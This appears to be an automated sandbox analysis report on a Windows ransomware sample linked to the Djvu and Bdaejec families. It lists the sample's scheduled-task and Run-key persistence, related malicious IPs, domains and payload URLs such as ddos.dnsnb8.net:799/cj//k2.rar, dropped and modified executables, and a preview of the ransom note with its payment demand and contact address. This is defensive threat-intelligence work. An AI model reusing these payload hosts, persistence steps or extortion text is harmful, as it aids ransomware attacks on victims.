Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Simulations

Behavior and APIs

Time	Type	Description
01:48:27	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe s>--Task
01:48:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
01:48:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
19:48:27	API Interceptor	1x Sleep call for process: WerFault.exe modified
19:50:19	API Interceptor	1x Sleep call for process: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@XFileCorrupter.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@WindowsAcceleratorPro.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	E7BDCB973BAA2F0F5C68C5D1765C468165184FDF20C49D96B6B91E550B01B199.exe	Get hash	malicious	Bdaejec, RedLine	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	e89614e3b0430d706bef2d1f13b30b43e5c53db9a477e2ff60ef5464e1e9add4.exe.dll	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	drawerror.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	E6D881EA9A11D23E31737469C38C5C74DE54ADC680A662D877C6CAB46E3A34AB.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k5.rar
188.114.96.3	https://www.trypineappledigital.agency/	Get hash	malicious	Unknown	Browse	daytimeadmirable.icu/favicon.ico
	Quotation.xls	Get hash	malicious	Remcos	Browse	tny.wtf/jk8Z5I
	DRAFT AWB and DRAFT Commercial invoice.xls	Get hash	malicious	Remcos	Browse	tny.wtf/cyd
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	wx.ax/Xm6
	http://comicextra.me/favicon.ico	Get hash	malicious	Unknown	Browse	comicextra.org/favicon.ico
	AED 47,000.exe	Get hash	malicious	FormBook	Browse	www.yi992.com/iuti/
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eadkqsUM/download
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/4jaIXkvS/download
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/yavjNkfZ/download
	Purchase Order - P04737.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	tny.wtf/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.2ip.ua	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
fuyt.org	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B7529C27C65C9F3CD9DDCE5C6C8C193D258E8F54D8C11E9DB618FEEC3CB9258B.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
zerit.top	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B7529C27C65C9F3CD9DDCE5C6C8C193D258E8F54D8C11E9DB618FEEC3CB9258B.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B378F4E8760FEA08858858A68B985797F0B0798F077036AD96833E08B87E00BD.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
ddos.dnsnb8.net	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@XFileCorrupter.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@WindowsAcceleratorPro.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	E7BDCB973BAA2F0F5C68C5D1765C468165184FDF20C49D96B6B91E550B01B199.exe	Get hash	malicious	Bdaejec, RedLine	Browse	44.221.84.105
	e89614e3b0430d706bef2d1f13b30b43e5c53db9a477e2ff60ef5464e1e9add4.exe.dll	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	drawerror.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	E6D881EA9A11D23E31737469C38C5C74DE54ADC680A662D877C6CAB46E3A34AB.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B7529C27C65C9F3CD9DDCE5C6C8C193D258E8F54D8C11E9DB618FEEC3CB9258B.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
CLOUDFLARENETUS	https://trk.klclick3.com/ls/click?upn=u001.SqxjShoZHixdTWeQgrVHBBddHkdBUadcx6zFRcEG7c0ZdVqXeLhZmJ53-2Bo9SFgSv4x1E0MvFzL39RE-2FPzHwm8AIb2-2BRALZfPN9ADiPjfhO0xQrvxp9-2FdH677BkTqQN9OdWLY3cgH90-2ByQm-2F14-2BEfJAse86Dujw4voEZmzmSzs3U-3DS-Xr_jkebJe-2FTbSX5bTiKPvviT0v1IIRmN-2BxhKcfQ8xQFW5hz-2FJQ7KoAUDwZXZABbXje3L3wtbgR2WPN5i0So8ryqVTmdI-2BwgMxdyp4Z3Su-2FzP5aJK-2FU2IszgjUzNUorM5CkjROD42zW5kOJ3sMQY4XaDqXksYspLbdueqrPD2mE3H2GiVOPRwqpABaGe8s3JmlEj4-2FRtRo37p57VXsCnueIyQb-2FphnHxd-2FpWg5RspZlZpePbnimWai9uO0BrPfO20av3AHqqERaTi1pPQrIkwWbHDvDU-2B0v0-2Bw1Izd4HFJFFBEzgamAqVWD8Xh0-2FDXTgQjgISnWo0fiCul2xOBES9XCIuRIMdE8LSAGyxxmE4TsRqH-2F9QYYKp-2B6qL2g4KHcmjlgubQoChF6rQ8lxNPqWAo-2FxrHImqTLVdq-2BmCH56Xfmt-2BAudpZfGYLciWkZzNHSiCB9TarmoXKPGTFCjrlfec3nW0wsMImrtDswa1u0s7AbRou8-3D#uWGiEE-SURELYONcG1ja25pZ2h0QGtpbGNveWdsb2JhbGZvb2RzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.21.15.145
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	https://r1s5ysq3czg5vii7sy3amdlrggobbqdod4rcuy0ul3qxlie.pages.dev/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://pub-0a8192cc52a049549ad4415d85d9c286.r2.dev/doc_start.html	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	104.26.13.205
	http://pub-579166ebb48443aa8a269450193d8f25.r2.dev/auth_gen.html?folder=fvnps2fman	Get hash	malicious	Unknown	Browse	104.18.3.35
	https://wordpress-1304782-4748926.cloudwaysapps.com/wp-admin/login/ES/index.php	Get hash	malicious	Unknown	Browse	104.18.10.207
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
AMAZON-AESUS	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@XFileCorrupter.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@WindowsAcceleratorPro.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	E7BDCB973BAA2F0F5C68C5D1765C468165184FDF20C49D96B6B91E550B01B199.exe	Get hash	malicious	Bdaejec, RedLine	Browse	44.221.84.105
	e89614e3b0430d706bef2d1f13b30b43e5c53db9a477e2ff60ef5464e1e9add4.exe.dll	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	drawerror.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	E6D881EA9A11D23E31737469C38C5C74DE54ADC680A662D877C6CAB46E3A34AB.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	SraTIeD668.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	cerber.exe	Get hash	malicious	Bdaejec, Cerber, CryptOne	Browse	188.114.96.3
	fElFkLtGq3.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@XFileCorrupter.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@WindowsAcceleratorPro.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse
	EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse
	E7BDCB973BAA2F0F5C68C5D1765C468165184FDF20C49D96B6B91E550B01B199.exe	Get hash	malicious	Bdaejec, RedLine	Browse
	e89614e3b0430d706bef2d1f13b30b43e5c53db9a477e2ff60ef5464e1e9add4.exe.dll	Get hash	malicious	Bdaejec	Browse
	drawerror.exe	Get hash	malicious	Bdaejec	Browse
	E6D881EA9A11D23E31737469C38C5C74DE54ADC680A662D877C6CAB46E3A34AB.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.867760142083633
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWj6mFRqrl3W4kA+GT/kF5M2/kAApJx0Iu:WZHfv0p6Wj6PFWrDGT0f/kjwJ
MD5:	51E4ED98E713291D75601A429D448CB4
SHA1:	C2EBCFB786A2A76D3FD2D4B19F1437CB47A80881
SHA-256:	9B48F49466AE659E7AF8538556AA40CF486472ECC71A73049A8D925AEDEA42FB
SHA-512:	59026C80576DFE267E932E49DFE94C95C102D4943D36D251F93DF777C85BF75E40D00D9A3B52C374824E3893D5DFE442A02D51C69CADE0062D6685907815C3C8
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-NdDG3HIUZp..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\$WinREAgent\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.867760142083633
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWj6mFRqrl3W4kA+GT/kF5M2/kAApJx0Iu:WZHfv0p6Wj6PFWrDGT0f/kjwJ
MD5:	51E4ED98E713291D75601A429D448CB4
SHA1:	C2EBCFB786A2A76D3FD2D4B19F1437CB47A80881
SHA-256:	9B48F49466AE659E7AF8538556AA40CF486472ECC71A73049A8D925AEDEA42FB
SHA-512:	59026C80576DFE267E932E49DFE94C95C102D4943D36D251F93DF777C85BF75E40D00D9A3B52C374824E3893D5DFE442A02D51C69CADE0062D6685907815C3C8
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-NdDG3HIUZp..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.590762566904014
Encrypted:	false
SSDEEP:	384:1FgSvXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:RxQGPL4vzZq2o9W7GsxBbPr
MD5:	217BAD8A5783705538DA7D356896BE54
SHA1:	37A52B3729E2415BE991A7AE71D8636E84B49B5D
SHA-256:	A8EAA97AEBC4FECA8ED651769671251A9F3021C2D25C054D25F3CDE19E45443A
SHA-512:	1B319D47D0BFE40CD3DA89BC47C9EFD6427DC42745ABFB6250059D05950ABE016DEE054BC94890949FF092D6EA242026190EC6708BF9EDC1BC86F268FDA0C959
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2389504
Entropy (8bit):	6.731348683218254
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	BB091847B2EACC0D1AFF18F7625AD278
SHA1:	00DEC99E755C986CC05B901BFED92A98F85C2213
SHA-256:	245780C77E48363B5D812A43378BB95AA583491889500BAC83E880DD9969926E
SHA-512:	071CE9F60D7F2B21B97BB64E77DDD4DBB326516E076C23B8D12063B5E7672CE6673257CDE1BAE1F26B27A59472B1A0BC2FD50AE08CAEB694745141EEAE150AC4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.366831286135348
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdDJQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdDeGCq2iW7z
MD5:	B6B8F467BE19B90DD6AE9547A80E625F
SHA1:	F9DFC0509521E681DED4064D7B39A480CBBF96C0
SHA-256:	60114BA1A6DF8D1DB9953C2DD309BA0C147F3163DAE83BC6BDB2992BA9AEF07C
SHA-512:	C92C8650C424AB35A3503907E866180617B12191EB0A58EAC6FC5684ADFB6947FB1E8663C5FF6F9268089A56E9670B32C5DB3621D867786242788ACD921FA6B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OmbNjE.exe_a067dac1be87f9a22e85aad87accabbe1378_874d50d4_a2e37605-f44c-4a33-8c21-c45f2513ee15\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9739722367786997
Encrypted:	false
SSDEEP:	192:3SWibrry0FLfuk6q6j8/JXzuiFDZ24IO8p:b2rr5FLfuk6q6jSzuiFDY4IO8p
MD5:	850231B2A8AACBC370E7F9ADD0179C80
SHA1:	047A8E453BDE56A80B29B01E189712960D363BFE
SHA-256:	E9581E2DF74896F3FD715E32FDC40E5D104EBE8D3A7512C27AE409B2EBD2E087
SHA-512:	BAC1C278D5F0F87AA074FB6E2FD130D0CAF06FA97C41D01232B7F6D9EFBF881383519B8729EDFE62E976E8227494CCBF366CF3636172B3C9F2BC5D4B166C85B7
Malicious:	false
